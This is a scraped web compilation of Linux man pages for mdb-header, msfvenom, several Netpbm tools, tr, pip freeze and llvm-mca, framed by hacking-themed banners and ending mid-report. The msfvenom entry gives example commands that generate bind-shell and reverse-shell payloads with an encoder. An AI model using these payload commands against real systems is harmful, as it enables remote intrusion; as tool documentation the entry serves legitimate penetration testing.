             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1965 - Linux cli command mdb-header

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-header and provides detailed information about the command mdb-header, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-header.

NAME 🖥️ mdb-header 🖥️

header** - Write header file from an MDB database

SYNOPSIS

mdb-header [database]

DESCRIPTION

mdb-header is a utility program distributed with MDB Tools.

It will dump the names and types of the tables and columns in an MDB database in a C header format.

It will create three files - types.h and dumptypes.[ch]

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

EXIT STATUS

mdb-header exits with error code 1 if there was anunsupported type.

FUTURE DIRECTIONS

mdb-header is deprecated. Soon, it will no longer be distributed.

It is the feeling of developers that it is not used, as C code generation is now usually replaced by more generic approaches, including libmdb calls and odbc.

However, should you find this tool useful, drop us a line at https://github.com/mdbtools/mdbtools/issues/197 and we’ll consider maintaining it.

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-header utility was written by Brian Bruns.

BUGS

Only a few types are currently supported.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1966 - Linux cli command msfvenom

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command msfvenom and provides detailed information about the command msfvenom, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the msfvenom.

NAME 🖥️ msfvenom 🖥️

Payload Generator and Encoder

SYNOPSIS

msfvenom [options] <var=val>

DESCRIPTION

Msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. Msfvenom has replaced both msfpayload and msfencode as of June 8th, 2015.

OPTIONS

-p, –payload [payload] Payload to use. Specify a ‘-’ or stdin to use custom payloads
–payload-options List the payload’s standard options

-l, –list [module_type]
List a module type example: payloads, encoders, nops, all

-n, –nopsled [length]
Prepend a nopsled of [length] size on to the payload

-f, –format [format]
Output format (use –help-formats for a list)

–help-formats
List available formats

-e, –encoder [encoder]
The encoder to use

-a, –arch [architecture]
The architecture to use

–platform [platform]
The platform of the payload
Cisco or cisco, OSX or osx, Solaris or solaris, BSD or bsd, OpenBSD or openbsd, Firefox or firefox, BSDi or bsdi, NetBSD or netbsd, NodeJS or nodejs, FreeBSD or freebsd, Python or python, AIX or aix, JavaScript or javascript, HPUX or hpux, PHP or php, Irix or irix, Unix or unix, Linux or linux, Ruby or ruby, Java or java, Android or android, Netware or netware, Windows or windows

-s, –space [length] The maximum size of the resulting payload
–encoder-space [length] The maximum size of the encoded payload (defaults to the -s value)

-b, –bad-chars [list]
The list of characters to avoid example: ‘��’

-i, –iterations [count]
The number of times to encode the payload

-c, –add-code [path]
Specify an additional win32 shellcode file to include

-x, –template [path]
Specify a custom executable file to use as a template

-k, –keep
Preserve the template behavior and inject the payload as a new thread

-o, –out [path]
Save the payload

-v, –var-name [name]
Specify a custom variable name to use for certain output formats

–smallest
Generate the smallest possible payload

-h, –help
Show this message

–help-formats
List available formats

EXAMPLE

msfvenom –platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b “�” -f python
msfvenom –platform linux -p linux/x86/shell/reverse_tcp LHOST=w.z.y.z LPORT=443 -b “�” -f elf -o file.bin

For more examples visit https://www.offensive-security.com/metasploit-unleashed/msfvenom

SEE ALSO

msfcli(1) - deprecated -
msfconsole(1)
msfpayload(1) - deprecated -
msfencode(1) - deprecated -

AUTHOR(S)

Creator
HD Moore - @hdmoore / [email protected]
Man Page Author: Kali Linux™ File man page bug reports at https://bugs.kali.org

COPYRIGHT

Copyright (C) 2006-2015, Rapid7 Inc. All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

*
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.

*
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

*
Neither the name of Rapid7 LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The Metasploit Framework is provided under the 3-clause BSD license above.

The copyright on this package is held by Rapid7 LLC.

This license does not apply to several components within the Metasploit Framework source tree. For more details see the LICENSE file.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1967 - Linux cli command pamrgbatopng

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamrgbatopng and provides detailed information about the command pamrgbatopng, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamrgbatopng.

.

NAME 🖥️ pamrgbatopng 🖥️

replaced by pamtopng

SYNOPSIS

pamrgbatopng [pamfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamrgbatopng was obsoleted by pamtopng(1) , introduced with Netpbm 10.70 (June 2015). pamtopng is backward compatible with pamrgbatopng, plus adds a plethora additional functions.

Starting in Release 10.70, pamrgbatopng is just an alias for pamtopng.

pamrgbatopng was added to Netpbm in 2005, and was always expected to be retired eventually because it had almost no features, compared to the more popular and much older pnmtopng. It had, in fact, no command line options. But the one feature it had that pnmtopng lacked was the ability to recognize transparency in a PAM image. pamtopng has that, as well as most of the features of pnmtopng.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamrgbatopng.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1968 - Linux cli command pnmtoxwd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtoxwd and provides detailed information about the command pnmtoxwd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtoxwd.

.

NAME 🖥️ pnmtoxwd 🖥️

convert a PNM into an X11 window dump

SYNOPSIS

pnmtoxwd

[-pseudodepth n]

[-directcolor]

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtoxwd reads a PNM image as input and produces an X11 window dump as output. You can display this output with xwud.

Normally, pnmtoxwd produces a StaticGray dump file for PBM and PGM files. For PPM, it writes a PseudoColor dump file if there are up to 256 colors in the input, and a DirectColor dump file otherwise.

In an X11 window dump file, various integers can be represented in either big endian (most significant byte first) or little endian code. Those generated by pnmtoxwd are always big endian.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtoxwd recognizes the following command line options:

-directcolor
Output in DirectColor format.

-pseudodepth 1-16
Set the depth of PseudoColor dump in bits. Values between 1 to 16 are accepted. Default is 8 (for a maximum of 256 colors.)

SEE ALSO

xwdtopnm(1) , pnm(1) , xwud

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtoxwd.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1969 - Linux cli command tr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tr and provides detailed information about the command tr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tr.

NAME 🖥️ tr 🖥️

translate or delete characters

SYNOPSIS

tr [OPTION]… STRING1 [STRING2]

DESCRIPTION

Translate, squeeze, and/or delete characters from standard input, writing to standard output. STRING1 and STRING2 specify arrays of characters ARRAY1 and ARRAY2 that control the action.

-c, -C, –complement
use the complement of ARRAY1

-d, –delete
delete characters in ARRAY1, do not translate

-s, –squeeze-repeats
replace each sequence of a repeated character that is listed in the last specified ARRAY, with a single occurrence of that character

-t, –truncate-set1
first truncate ARRAY1 to length of ARRAY2

–help
display this help and exit

–version
output version information and exit

ARRAYs are specified as strings of characters. Most represent themselves. Interpreted sequences are:

\NNN
character with octal value NNN (1 to 3 octal digits)

\
backslash


audible BEL


backspace


form feed

new line

return

horizontal tab


vertical tab

CHAR1-CHAR2
all characters from CHAR1 to CHAR2 in ascending order

[CHAR*]
in ARRAY2, copies of CHAR until length of ARRAY1

[CHAR*REPEAT]
REPEAT copies of CHAR, REPEAT octal if starting with 0

[:alnum:]
all letters and digits

[:alpha:]
all letters

[:blank:]
all horizontal whitespace

[:cntrl:]
all control characters

[:digit:]
all digits

[:graph:]
all printable characters, not including space

[:lower:]
all lower case letters

[:print:]
all printable characters, including space

[:punct:]
all punctuation characters

[:space:]
all horizontal or vertical whitespace

[:upper:]
all upper case letters

[:xdigit:]
all hexadecimal digits

[=CHAR=]
all characters which are equivalent to CHAR

Translation occurs if -d is not given and both STRING1 and STRING2 appear. -t is only significant when translating. ARRAY2 is extended to length of ARRAY1 by repeating its last character as necessary. Excess characters of ARRAY2 are ignored. Character classes expand in unspecified order; while translating, [:lower:] and [:upper:] may be used in pairs to specify case conversion. Squeezing occurs after translation or deletion.

BUGS

Full support is available only for safe single-byte locales, in which every possible input byte represents a single character. The C locale is safe in GNU systems, so you can avoid this issue in the shell by running LC_ALL=C tr instead of plain tr.

AUTHOR

Written by Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/tr>
or available locally via: info ‘(coreutils) tr invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1970 - Linux cli command pip3-freeze

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-freeze and provides detailed information about the command pip3-freeze, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-freeze.

NAME 🖥️ pip3-freeze 🖥️

freeze - description of pip3 freeze command

DESCRIPTION

Output installed packages in requirements format.

packages are listed in a case-insensitive sorted order.

USAGE

python -m pip freeze [options]

OPTIONS

-r, –requirement <file>
Use the order in the given requirements file and its comments when generating output. This option can be used multiple times.

(environment variable: PIP_REQUIREMENT)

-l, –local
If in a virtualenv that has global access, do not output globally-installed packages.

(environment variable: PIP_LOCAL)

–user
Only output packages installed in user-site.

(environment variable: PIP_USER)

–path <path>
Restrict to the specified installation path for listing packages (can be used multiple times).

(environment variable: PIP_PATH)

–all
Do not skip these packages in the output: pip

(environment variable: PIP_ALL)

–exclude-editable
Exclude editable package from output.

(environment variable: PIP_EXCLUDE_EDITABLE)

–exclude <package>
Exclude specified package from the output

(environment variable: PIP_EXCLUDE)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1971 - Linux cli command llvm-mca-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-mca-17 and provides detailed information about the command llvm-mca-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-mca-17.

NAME 🖥️ llvm-mca-17 🖥️

mca - LLVM Machine Code Analyzer

SYNOPSIS

llvm-mca [options] [input]

DESCRIPTION

llvm-mca is a performance analysis tool that uses information available in LLVM (e.g. scheduling models) to statically measure the performance of machine code in a specific CPU.

Performance is measured in terms of throughput as well as processor resource consumption. The tool currently works for processors with a backend for which there is a scheduling model available in LLVM.

The main goal of this tool is not just to predict the performance of the code when run on the target, but also help with diagnosing potential performance issues.

Given an assembly code sequence, llvm-mca estimates the Instructions Per Cycle (IPC), as well as hardware resource pressure. The analysis and reporting style were inspired by the IACA tool from Intel.

For example, you can compile code with clang, output assembly, and pipe it directly into llvm-mca for analysis:

$ clang foo.c -O2 –target=x86_64 -S -o - | llvm-mca -mcpu=btver2

Or for Intel syntax:

$ clang foo.c -O2 –target=x86_64 -masm=intel -S -o - | llvm-mca -mcpu=btver2

(llvm-mca detects Intel syntax by the presence of an .intel_syntax directive at the beginning of the input. By default its output syntax matches that of its input.)

Scheduling models are not just used to compute instruction latencies and throughput, but also to understand what processor resources are available and how to simulate them.

By design, the quality of the analysis conducted by llvm-mca is inevitably affected by the quality of the scheduling models in LLVM.

If you see that the performance report is not accurate for a processor, please file a bug against the appropriate backend.

OPTIONS

If input is “-” or omitted, llvm-mca reads from standard input. Otherwise, it will read from the specified filename.

If the -o option is omitted, then llvm-mca will send its output to standard output if the input is from standard input. If the -o option specifies “-”, then the output will also be sent to standard output.

-help
Print a summary of command line options.

-o <filename>
Use <filename> as the output filename. See the summary above for more details.

-mtriple=<target triple>
Specify a target triple string.

-march=<arch>
Specify the architecture for which to analyze the code. It defaults to the host default target.

-mcpu=<cpuname>
Specify the processor for which to analyze the code. By default, the cpu name is autodetected from the host.

-output-asm-variant=<variant id>
Specify the output assembly variant for the report generated by the tool. On x86, possible values are [0, 1]. A value of 0 (vic. 1) for this flag enables the AT&T (vic. Intel) assembly format for the code printed out by the tool in the analysis report.

-print-imm-hex
Prefer hex format for numeric literals in the output assembly printed as part of the report.

-dispatch=<width>
Specify a different dispatch width for the processor. The dispatch width defaults to field ‘IssueWidth’ in the processor scheduling model. If width is zero, then the default dispatch width is used.

-register-file-size=<size>
Specify the size of the register file. When specified, this flag limits how many physical registers are available for register renaming purposes. A value of zero for this flag means “unlimited number of physical registers”.

-iterations=<number of iterations>
Specify the number of iterations to run. If this flag is set to 0, then the tool sets the number of iterations to a default value (i.e. 100).

-noalias=<bool>
If set, the tool assumes that loads and stores don’t alias. This is the default behavior.

-lqueue=<load queue size>
Specify the size of the load queue in the load/store unit emulated by the tool. By default, the tool assumes an unbound number of entries in the load queue. A value of zero for this flag is ignored, and the default load queue size is used instead.

-squeue=<store queue size>
Specify the size of the store queue in the load/store unit emulated by the tool. By default, the tool assumes an unbound number of entries in the store queue. A value of zero for this flag is ignored, and the default store queue size is used instead.

-timeline
Enable the timeline view.

-timeline-max-iterations=<iterations>
Limit the number of iterations to print in the timeline view. By default, the timeline view prints information for up to 10 iterations.

-timeline-max-cycles=<cycles>
Limit the number of cycles in the timeline view, or use 0 for no limit. By default, the number of cycles is set to 80.

-resource-pressure
Enable the resource pressure view. This is enabled by default.

-register-file-stats
Enable register file usage statistics.

-dispatch-stats
Enable extra dispatch statistics. This view collects and analyzes instruction dispatch events, as well as static/dynamic dispatch stall events. This view is disabled by default.

-scheduler-stats
Enable extra scheduler statistics. This view collects and analyzes instruction issue events. This view is disabled by default.

-retire-stats
Enable extra retire control unit statistics. This view is disabled by default.

-instruction-info
Enable the instruction info view. This is enabled by default.

-show-encoding
Enable the printing of instruction encodings within the instruction info view.

-show-barriers
Enable the printing of LoadBarrier and StoreBarrier flags within the instruction info view.

-all-stats
Print all hardware statistics. This enables extra statistics related to the dispatch logic, the hardware schedulers, the register file(s), and the retire control unit. This option is disabled by default.

-all-views
Enable all the view.

-instruction-tables
Prints resource pressure information based on the static information available from the processor model. This differs from the resource pressure view because it doesn’t require that the code is simulated. It instead prints the theoretical uniform distribution of resource pressure for every instruction in sequence.

-bottleneck-analysis
Print information about bottlenecks that affect the throughput. This analysis can be expensive, and it is disabled by default. Bottlenecks are highlighted in the summary view. Bottleneck analysis is currently not supported for processors with an in-order backend.

-json
Print the requested views in valid JSON format. The instructions and the processor resources are printed as members of special top level JSON objects. The individual views refer to them by index. However, not all views are currently supported. For example, the report from the bottleneck analysis is not printed out in JSON. All the default views are currently supported.

-disable-cb
Force usage of the generic CustomBehaviour and InstrPostProcess classes rather than using the target specific implementation. The generic classes never detect any custom hazards or make any post processing modifications to instructions.

-disable-im
Force usage of the generic InstrumentManager rather than using the target specific implementation. The generic class creates Instruments that provide no extra information, and InstrumentManager never overrides the default schedule class for a given instruction.

EXIT STATUS

llvm-mca returns 0 on success. Otherwise, an error message is printed to standard error, and the tool returns 1.

USING MARKERS TO ANALYZE SPECIFIC CODE BLOCKS

llvm-mca allows for the optional usage of special code comments to mark regions of the assembly code to be analyzed. A comment starting with substring LLVM-MCA-BEGIN marks the beginning of an analysis region. A comment starting with substring LLVM-MCA-END marks the end of a region. For example:

LLVM-MCA-BEGIN

  ...
# LLVM-MCA-END

If no user-defined region is specified, then llvm-mca assumes a default region which contains every instruction in the input file. Every region is analyzed in isolation, and the final performance report is the union of all the reports generated for every analysis region.

Analysis regions can have names. For example:

LLVM-MCA-BEGIN A simple example

  add %eax, %eax
# LLVM-MCA-END

The code from the example above defines a region named “A simple example” with a single instruction in it. Note how the region name doesn’t have to be repeated in the LLVM-MCA-END directive. In the absence of overlapping regions, an anonymous LLVM-MCA-END directive always ends the currently active user defined region.

Example of nesting regions:

LLVM-MCA-BEGIN foo

  add %eax, %edx
# LLVM-MCA-BEGIN bar
  sub %eax, %edx
# LLVM-MCA-END bar
# LLVM-MCA-END foo

Example of overlapping regions:

LLVM-MCA-BEGIN foo

  add %eax, %edx
# LLVM-MCA-BEGIN bar
  sub %eax, %edx
# LLVM-MCA-END foo
  add %eax, %edx
# LLVM-MCA-END bar

Note that multiple anonymous regions cannot overlap. Also, overlapping regions cannot have the same name.

There is no support for marking regions from high-level source code, like C or C++. As a workaround, inline assembly directives may be used:

int foo(int a, int b) { __asm volatile("# LLVM-MCA-BEGIN foo":::“memory”); a += 42; __asm volatile("# LLVM-MCA-END":::“memory”); a *= b; return a; }

However, this interferes with optimizations like loop vectorization and may have an impact on the code generated. This is because the __asm statements are seen as real code having important side effects, which limits how the code around them can be transformed. If users want to make use of inline assembly to emit markers, then the recommendation is to always verify that the output assembly is equivalent to the assembly generated in the absence of markers. The Clang options to emit optimization reports can also help in detecting missed optimizations.

INSTRUMENT REGIONS

An InstrumentRegion describes a region of assembly code guarded by special LLVM-MCA comment directives.

LLVM-MCA-<INSTRUMENT_TYPE>

  ...  ## asm

where INSTRUMENT_TYPE is a type defined by the target and expects to use data.

A comment starting with substring LLVM-MCA-<INSTRUMENT_TYPE> brings data into scope for llvm-mca to use in its analysis for all following instructions.

If a comment with the same INSTRUMENT_TYPE is found later in the instruction list, then the original InstrumentRegion will be automatically ended, and a new InstrumentRegion will begin.

If there are comments containing the different INSTRUMENT_TYPE, then both data sets remain available. In contrast with an AnalysisRegion, an InstrumentRegion does not need a comment to end the region.

Comments that are prefixed with LLVM-MCA- but do not correspond to a valid INSTRUMENT_TYPE for the target cause an error, except for BEGIN and END, since those correspond to AnalysisRegions. Comments that do not start with LLVM-MCA- are ignored by :program llvm-mca.

An instruction (a MCInst) is added to an InstrumentRegion R only if its location is in range [R.RangeStart, R.RangeEnd].

On RISCV targets, vector instructions have different behaviour depending on the LMUL. Code can be instrumented with a comment that takes the following form:

LLVM-MCA-RISCV-LMUL <M1|M2|M4|M8|MF2|MF4|MF8>

The RISCV InstrumentManager will override the schedule class for vector instructions to use the scheduling behaviour of its pseudo-instruction which is LMUL dependent. It makes sense to place RISCV instrument comments directly after vset{i}vl{i} instructions, although they can be placed anywhere in the program.

Example of program with no call to vset{i}vl{i}:

LLVM-MCA-RISCV-LMUL M2

vadd.vv v2, v2, v2

Example of program with call to vset{i}vl{i}:

vsetvli zero, a0, e8, m1, tu, mu # LLVM-MCA-RISCV-LMUL M1 vadd.vv v2, v2, v2

Example of program with multiple calls to vset{i}vl{i}:

vsetvli zero, a0, e8, m1, tu, mu # LLVM-MCA-RISCV-LMUL M1 vadd.vv v2, v2, v2 vsetvli zero, a0, e8, m8, tu, mu # LLVM-MCA-RISCV-LMUL M8 vadd.vv v2, v2, v2

Example of program with call to vsetvl:

vsetvl rd, rs1, rs2 # LLVM-MCA-RISCV-LMUL M1 vadd.vv v12, v12, v12 vsetvl rd, rs1, rs2 # LLVM-MCA-RISCV-LMUL M4 vadd.vv v12, v12, v12

HOW LLVM-MCA WORKS

llvm-mca takes assembly code as input. The assembly code is parsed into a sequence of MCInst with the help of the existing LLVM target assembly parsers. The parsed sequence of MCInst is then analyzed by a Pipeline module to generate a performance report.

The Pipeline module simulates the execution of the machine code sequence in a loop of iterations (default is 100). During this process, the pipeline collects a number of execution related statistics. At the end of this process, the pipeline generates and prints a report from the collected statistics.

Here is an example of a performance report generated by the tool for a dot-product of two packed float vectors of four elements. The analysis is conducted for target x86, cpu btver2. The following result can be produced via the following command using the example located at test/tools/llvm-mca/X86/BtVer2/dot-product.s:

$ llvm-mca -mtriple=x86_64-unknown-unknown -mcpu=btver2 -iterations=300 dot-product.s

Iterations: 300 Instructions: 900 Total Cycles: 610 Total uOps: 900

Dispatch Width:    2
uOps Per Cycle:    1.48
IPC:               1.48
Block RThroughput: 2.0


Instruction Info:
[1]: #uOps
[2]: Latency
[3]: RThroughput
[4]: MayLoad
[5]: MayStore
[6]: HasSideEffects (U)

[1]    [2]    [3]    [4]    [5]    [6]    Instructions:
 1      2     1.00                        vmulps      %xmm0, %xmm1, %xmm2
 1      3     1.00                        vhaddps     %xmm2, %xmm2, %xmm3
 1      3     1.00                        vhaddps     %xmm3, %xmm3, %xmm4


Resources:
[0]   - JALU0
[1]   - JALU1
[2]   - JDiv
[3]   - JFPA
[4]   - JFPM
[5]   - JFPU0
[6]   - JFPU1
[7]   - JLAGU
[8]   - JMul
[9]   - JSAGU
[10]  - JSTC
[11]  - JVALU0
[12]  - JVALU1
[13]  - JVIMUL


Resource pressure per iteration:
[0]    [1]    [2]    [3]    [4]    [5]    [6]    [7]    [8]    [9]    [10]   [11]   [12]   [13]
 -      -      -     2.00   1.00   2.00   1.00    -      -      -      -      -      -      -

Resource pressure by instruction:
